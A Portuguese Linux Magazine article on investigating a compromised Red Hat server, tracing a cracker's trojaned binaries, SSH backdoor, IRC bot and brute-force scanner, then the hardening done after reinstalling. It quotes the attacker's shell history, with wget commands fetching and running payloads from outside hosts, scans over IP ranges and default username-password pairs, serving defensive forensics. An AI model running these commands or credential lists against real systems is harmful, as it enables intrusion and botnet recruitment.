Você está na página 1de 4

Seguindo os rastros deixados por um invasor

Na trilha do invasor
SYSADMIN

O IDS informa que algo está errado. Você nota que


a máquina está com comportamento inesperado.
Vamos descobrir se houve uma invasão, seguir
sua rota e descobrir a motivação do invasor.
por Avi Alkalay

Pe
ter
So
re n
se
n-
ww
w.
sx
c.h
u

Q ualquer administrador de firewall


pode observar em seus registros
que uma máquina conectada à
Internet não fica um minuto sequer das
Vamos chamar os invasores de cra-
ckers, porque hackers somos todos nós
que respiramos tecnologia, “fuçadores”
(tradução do termo “hacker”), explo-
um novo teste, conectada à Internet, sem
uma reinstalação. Tudo começou quando,
poucas semanas após estar conectada à
Internet, uma empresa que chamaremos
24 horas do dia livre de tentativas de in- radores, pessoas curiosas. Somos todos de B enviou um email para P (provedor
vasão. Tem sempre alguém fazendo uma hackers porque usamos nossas mentes do link físico para a máquina atacada),
varredura, tentando algum tipo estranho poderosas para resolver problemas, ga- informando que detectou uma tentati-
de conexão, requisitando URLs insegu- nhar dinheiro licitamente, enfim, fazer va de ataque, e requisitou um retorno.
ras aos servidores web, enfim, batendo o bem. Um cracker, por outro lado, usa P encaminhou o email para A, e esse
na porta. Parece que as pessoas têm se seu conhecimento para invadir, deteriorar, continha alguns registros com a prova
protegido bem, já que não me lembro de tirar vantagem e dar trabalho aos hackers da tentativa de invasão:
ter ouvido histórias detalhadas sobre um administradores de redes. Um cracker é
ataque efetivamente acontecendo. um mau hacker, e um bom hacker pode Feb 22 12:36:27 sshd[PID]: refused connect
Tive a oportunidade de analisar um impedir a ação de um cracker. ➥ from IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect
computador que foi invadido e vou relatar ➥ from IP.IP.IP.IP
aqui as evidências que os crackers deixaram
para trás, como as descobrimos, e o que Os rastros do cracker Feb 22 12:36:27 sshd[PID]:
➥ from IP.IP.IP.IP
refused connect

lhes interessava naquela máquina. Vou usar O servidor em questão era uma máquina Feb 22 12:36:27 sshd[PID]: refused connect
nomes fictícios e mascarar alguns IPs para de testes internos na empresa A, que em ➥ from IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect
resguardar a privacidade de todos. determinado momento foi deslocada para

66 http://www.linuxmagazine.com.br
Invasão | SYSADMIN

Figura 1: Diagrama das tentativas iniciais de invasão.

➥ from IP.IP.IP.IP administrador, e não do sistema opera- Pronto. Estava constatado que esse
Feb 22 12:36:27 sshd[PID]: refused connect
cional, seja ele qual for, e do fabricante tal comando crontabs era alienígena e
➥ from IP.IP.IP.IP
que for. O administrador precisava ago- não deveria estar ali. Foi, com certeza,
Feb 22 12:36:27 sshd[PID]: refused connect
➥ from IP.IP.IP.IP ra descobrir como o cracker invadiu a implantado pelo cracker. Mas não pa-
Feb 22 12:36:27 sshd[PID]: refused connect máquina, para, corajosamente, assumir ramos aqui. Queríamos saber o que esse
➥ from IP.IP.IP.IP a falha e não permitir que isso aconte- programa fazia. Como era um binário,
Feb 22 12:26:27 sshd[PID]: refused connect cesse novamente. tentamos extrair dele algumas cadeias
➥ from IP.IP.IP.IP
Logo na inicialização da máquina, de caracteres:
observamos consecutivas mensagens es-
Eles mostravam que o IDS (Intru- tranhas que não deveriam estar lá, e que bash$ strings /usr/bin/crontabs
sion Detection System) de B acusou que continham o texto (swap). Começamos [...]
“smbd -D”
a máquina atacada (cujo endereço IP a analisar o processo de inicialização do “(swapd)” &
está representado por IP.IP.IP.IP) ten- sistema, a partir do arquivo /etc/inittab. [...]
tou se conectar várias vezes sem sucesso Vimos que um dos primeiros scripts que
a seu serviço SSH (sshd). Reparem que são executados no sistema é o /etc/init.d/
o instante de todas as tentativas, até os functions, e fizemos os seguintes testes: Ou seja, era o binário crontabs que
segundos, é o mesmo, o que leva a crer imprimia na tela as mensagens com o
que não é um ser humano, e sim algum bash$ rpm -qf /etc/init.d/functions termo (swap). Mas descobrimos ainda que
software que muito rapidamente está tes- initscripts-7.93.20.EL o alienígena continha também a cadeia
bash$ rpm -V initscripts
tando várias combinações de usuário e S.5....T c /etc/rc.d/init.d/functions smbd -D, que se parece com o nome do
senha ao mesmo tempo. serviço do Samba. Nem perdemos tempo
Fui chamado para dar explicações, usando os comandos ps e top para verifi-
pois eu havia fornecido, informalmente Verificamos que este arquivo faz parte car se um processo chamado smbd estava
e por telefone, algumas dicas de como (rpm -qf) do pacote initscripts; em segui- em execução, pois usamos os mesmos
proteger a máquina. Primeiramente, era da, testamos sua integridade (rpm -V), e rpm -qf e rpm -V para constatar que esses
necessário dar subsídios ao provedor P descobrimos que o arquivo foi alterado. programas também foram modificados
para responder ao email de B, dando uma O número 5 significa que a soma MD5 pelo cracker. Usamos o utilitário gráfi-
satisfação formal. Isso é uma atitude de do arquivo mudou, ou, em outras pala- co ksysguard (que não foi modificado)
responsabilidade de um bom administra- vras, que o conteúdo do arquivo mudou. do KDE, e conseguimos observar um
dor de rede, e demonstra a preocupação O gerenciador de pacotes RPM obtém tal processo smbd -D sendo executado.
em manter o nível de serviço da Internet essa informação ao comparar essa soma Chamou-nos a atenção o fato de que
o mais alto possível. do arquivo atual no disco com o valor de o ksysguard mostrava todos os processos
A máquina foi colocada em quarente- MD5 registrado em seu banco de dados sendo executados sem seus parâmetros,
na, desligada da Internet e começamos no momento da instalação do pacote. e somente o smbd apresentava um parâ-
a analisá-la. Tratava-se de um Red Hat Mas o que foi alterado no script func- metro. Não tardou a acharmos um pro-
Enterprise Linux 3 Update 5. Não estou tions? grama chamado /usr/bin/smbd -D (com
dizendo que o Red Hat Linux é menos A última linha do script era: espaço e parâmetro mesmo), e o RPM
ou mais seguro. O conceito de segurança novamente nos informou que ele não fa-
de uma distribuição não é intuitivo, mas /usr/bin/crontabs -t1 -X53 -p zia parte de nenhum pacote. Tratava-se
é fato que segurança não tem quase nada de outro programa do cracker. Fomos lá
a ver com o software. Segurança não é Suspeitamos imediatamente, pois o tentar extrair mais algumas informações
um firewall, não é criptografia, nem um comando crontab não se chama crontabs. sobre este programa:
conjunto de produtos que têm proteção Confirmamos novamente com o RPM:
como objetivo. Segurança é um processo bash$ strings “/usr/bin/smbd -D”
que deve ser seguido conscientemente por bash$ rpm -qf /usr/bin/crontabs [...]
Received SIGHUP; restarting.
administradores de redes. Se um ataque o ficheiro /usr/bin/crontabs não pertence Generating new %d bit RSA key.
➥ a nenhum pacote
acontece, toda a responsabilidade é do

Linux Magazine #26 | Dezembro de 2006 67


SYSADMIN | Invasão

RSA key generation complete. ➥ flo.tgz


-b bits Size of server RSA key code.conf. Lendo o simplíssimo script
tar xzvf flo.tgz
➥ (default: 768 bits) x, e verificando no histórico que ele era
By-ICE_4_All ( Hackers Not Allowed! ) [...] executado muitas vezes, e usando a in-
SSH-%d.%d-%.50s tuição, ficou claro que o comando find
This server does not support your new ssh cd /var/tmp varria faixas de IP inteiras em busca de
➥ version. wget djanda.com/get/usr.tar.gz
Sent %d bit public key and %d bit host key. wget djanda.com/get/x.tar.gz
máquinas com a porta 22 (SSH) aberta.
sshd version %.100s [%.100s] tar xfvz usr.tar.gz A lista de máquinas encontradas era en-
[...] cd usr tão passada para o comando take, que se
chmod +rwxrwxrwx * encarregava de usar as 18459 combina-
Omitimos diversas linhas por motivo ./crond ções de usuário e senha disponíveis no
cd ..
de clareza. A linha By-ICE_4_All eliminou arquivo code.conf para tentar se logar nas
tar xfvz x.tar.gz
qualquer dúvida sobre a ocorrência da cd x máquinas encontradas. Um login bem
visita de um cracker à máquina. Mas o chmod +rwxrwxrwx * sucedido tinha o IP, usuário e senha re-
mais interessante são as linhas que apa- mv unix x gistrados num arquivo que indicaria ao
recem abaixo dessa, que nos levaram a ./x 201.20; ./x 201.21; ./x 201.22; ./x cracker as próximas máquinas a invadir.
➥ 201.23; ./x 201.24; ./x 201.25; ./x 201.
crer que o famigerado programa smbd -D E esse arquivo já tinha uma lista das
26; ./x 201.27; ./x 201.28; ./x 201.29; ./
era um servidor SSH. O cracker deveria ➥ x 201.30; ./x 201.31; ./x 201.32; ./x máquinas nas quais essas ferramentas
querer isso para manter um backdoor 201.33; ./x 201.34; ./x 201.35; ./x 201.36; conseguiram penetrar, naturalmente
aberto, e poder entrar por SSH quando ➥ ./x 201.37; ./x 201.38; ./x 201.39; com suas respectivas senhas.
desejasse. Em /var/log/messages, encon- ./x 201.40; ./x 201.41; ./x 201.42; ./x Foi exatamente esse procedimento de
➥ 201.43; ./x 201.44; ./x 201.45; ./x 201.
tramos a evidência final: login por força bruta que foi detectado
46; ./x 201.47; ./x 201.48; ./x 201.49; ./
➥ x 201.50 pelo IDS da empresa B, quando o servidor
Feb 19 19:24:49 localhost smbd -D: RSA1 deles sofreu uma tentativa infrutífera de
➥ key generation succeeded [...] invasão. Quando chegamos a isso, ainda
Feb 19 19:24:50 localhost smbd -D: RSA
➥ key generation succeeded
não estava claro como a máquina de A
/usr/sbin/adduser scanning
Feb 19 19:24:51 localhost smbd -D: DSA havia sido invadida. Estava checando se
➥ key generation succeeded e como os administradores da máquina
Feb 19 19:24:51 localhost smbd -D: O formato do arquivo .bash_history não seguiram meus conselhos informais de
➥ succeeded nos permite saber quando esses coman- segurança, verificando as regras de Ip-
dos foram executados, mas fica evidente tables, serviços ativos etc. Parecia tudo
Essas são mensagens típicas de um da- que o cracker criou um usuário chamado correto ou, no mínimo, não alarmante-
emon SSH sendo executado pela primeira scanning, baixou arquivos de certos sites, mente errado. Foi quando examinamos
vez, quando cria suas chaves únicas de abriu-os e executou comandos que vie- com mais atenção o conteúdo do arqui-
criptografia, só que bizarramente emitidas ram com eles. Analisamos cada um, e vo code.conf e, entre suas mais de 18 mil
por um suposto programa com nome de descobrimos que: linhas, encontramos as seguintes:
servidor Samba, o que não faz sentido No diretório /usr/share/.a, ele instalou
algum e, além disso, é forte indício de e executou o comando mig, que aparen- root passw0rd
que há algo errado no sistema. Ou seja, temente realiza a limpeza do histórico root pa55word
root pa55w0rd
o cracker implantou um backdoor SSH, de login do sistema. Usamos o mesmo sapdb sapdb
porém com um nome mascarado para seu comando strings para analisar esse bi- apache apache
arquivo e processo (smbd). A partir desses nário. Isso confirmou nossa estimativa apache 123456
registros, pudemos também estimar a da data de ataque, pois o comando last apache2 apache
data em que a máquina foi atacada: 19 (usado para verificar esse histórico) apon- apache2 apache2
apache2 apache123
de fevereiro. tou dados inconsistentes por volta de 19
Para o cracker conseguir alterar ar- de fevereiro.
quivos e comandos tão importantes do ➧ Em /var/tmp, foi baixado um tal usr. Enquanto varríamos o arquivo com
sistema, ele deve ter conseguido acesso tar.gz, que aparentemente é um bot os olhos, de repente o administrador da
de root, e por isso fomos conferir o his- de IRC. Mais tarde, com os mesmos máquina invadida colocou a mão na
tórico de comandos executados por esse comandos do RPM, descobrimos testa e, com voz de lamento, nos con-
usuário no arquivo /root/.bash_history, e que o comando /bin/netstat também tou que a senha de root da máquina
obtivemos a seguinte saída: havia sido alterado, provavelmente era a manjadíssima passw0rd (com um
para esconder as conexões desse algarismo zero no lugar da letra “o”). O
bash# less /root/.bash_history bot a diversos servidores de IRC na serviço SSH estava aberto e permitia lo-
porta padrão (6667), o que consta- gin do root pela rede. Aquela máquina
[...]
tamos com o ksysguard. Explicarei também tinha sido vítima da varredura
cd /usr/share/.a mais adiante o que um cracker pode do cracker, e foi assim que ele entrou e
wget lamisto.octopis.com/mig.tgz fazer com isso. ganhou poder total.
tar xzvf mig.tgz Mas o mais interessante foi o arqui- Eu conhecia várias máquinas formais
./mig g-u root -n 0 vo x.tar.gz baixado. Ele continha dois e informais que implementaram aquele
./mig -u root -n 0
cd /usr/share/.a
executáveis chamados find e take, além mesmo esquema de segurança que foi
wget utilservices.iasi.rdsnet.ro/~marianu/ de um script intitulado simplesmente x sugerido, estavam há anos conectadas
e um arquivo muito especial de nome à Internet, e jamais haviam sofrido ata-

68 http://www.linuxmagazine.com.br
Invasão | SYSADMIN

ques. Mas uma simples


senha conhecida, bem
típica de ambientes
de testes, onde várias
pessoas compartilham
acessos similares e in-
formais às máquinas,
foi o calcanhar de Aqui-
les da pilha de seguran-
ça. Isso confirma que
ataques bem sucedidos
são responsabilidade
do administrador, e
não tanto de um soft-
ware de segurança em
especial.

Reinstalação
Depois de um ataque
como esse, e depois do
relatório conclusivo, a
melhor coisa é limpar
completamente o dis-
co e partir para uma
reinstalação completa.
Dessa vez acompanhei
de perto a instalação,
e seguimos algumas
simples regras de se- Figura 2: Um ataque DDoS é realizado a partir de uma sala de IRC, de onde o cracker envia comandos de ataque a toda sua
legião de bots.
gurança:
➧ Só instalamos paco- a seu dispor um exército de bots, distri-
tes que sabíamos que seriam usados. Por que o buídos geograficamente e programados
Desconsideramos totalmente uma
instalação completa. cracker ataca? para executar ações sob seu comando.
O DDoS acontece quando o cracker,
➧ Depois de instalado o sistema, de- Em todas as análises que fizemos, não através de comandos dados aos bots na
sativamos alguns serviços que sabí- encontramos nada de útil no ataque do sala de IRC, faz os computadores ataca-
amos que não seriam usados, como cracker. A máquina estava conectada dos enviarem simultaneamente grandes
NIS, Samba, Portmap e NFS, por a outras redes, mas essas não pareciam volumes de pacotes de dados para algum
exemplo. interessá-lo. A única conclusão a que site vítima, escolhido pelo cracker. Na-
➧ Criamos regras para o Iptables, fe- pudemos chegar foi que o cracker ata- quele momento, o link do site vítima
chando praticamente tudo, exceto as ca por atacar, e depois usa seu ataque fica sobrecarregado, e a sensação é de
portas 80 (HTTP) e 443 (HTTPS). para atacar mais. Simplesmente isso. que ele está fora do ar. Isso pode durar
➧ Requisitamos ao provedor do link, P, Sim, porque as ferramentas, técnicas e o tempo que o cracker desejar.
que configurasse regras semelhantes rastros deixados mostram que ele prova- Esse processo foi ricamente detalhado
em seu roteador, formando um fi- velmente usou ferramentas criadas por pelo dono de um desses site-vítima, em
rewall duplo. outros, talvez seguindo uma documen- [1], e é leitura obrigatória a qualquer
➧ Por via das dúvidas, desabilitamos o tação que mostra os comandos prontos, um que se interesse por segurança da
acesso de root por SSH, obrigando passo a passo. Ele provavelmente não informação. ■
o administrador a se logar com um sabia direito o que estava fazendo. Sem
usuário qualquer e depois ganhar objetivos “mitnickianos”, nem financei-
privilégios com o comando su. Isso ros, nem algo que o exaltasse perante Mais Informações
funciona como uma restrição dupla outros crackers.
para administrar a máquina. Nesse ponto, é interessante explicar [1] The strange tale of the Denial
of Service attacks against grc.com:
➧ Dessa vez foram usadas senhas de- o que é o bot de IRC. Ele se dedica a
http://grc.com/dos/grcdos.htm
centes, bem difíceis, com letras, nú- desferir ataques do tipo DDoS (Distri-
meros, e que não eram derivadas de buted Denial of Service), como mostra-
palavras óbvias. do na figura 2. Um bot fica constante- O autor
➧ Por último, as senhas só foram in- mente conectado a uma sala de IRC
formadas para poucas pessoas, e pré-definida. Depois de invadir várias Avi Alkalay (avix@br.ibm.com) é con-
sultor de Linux, Software Livre, Padrões
somente de forma verbal. Evitamos máquinas e ativar os respectivos bots, o
Abertos e Segurança na IBM Brasil.
passar por email. cracker entra nessa sala de IRC e tem

Linux Magazine #26 | Dezembro de 2006 69

Você também pode gostar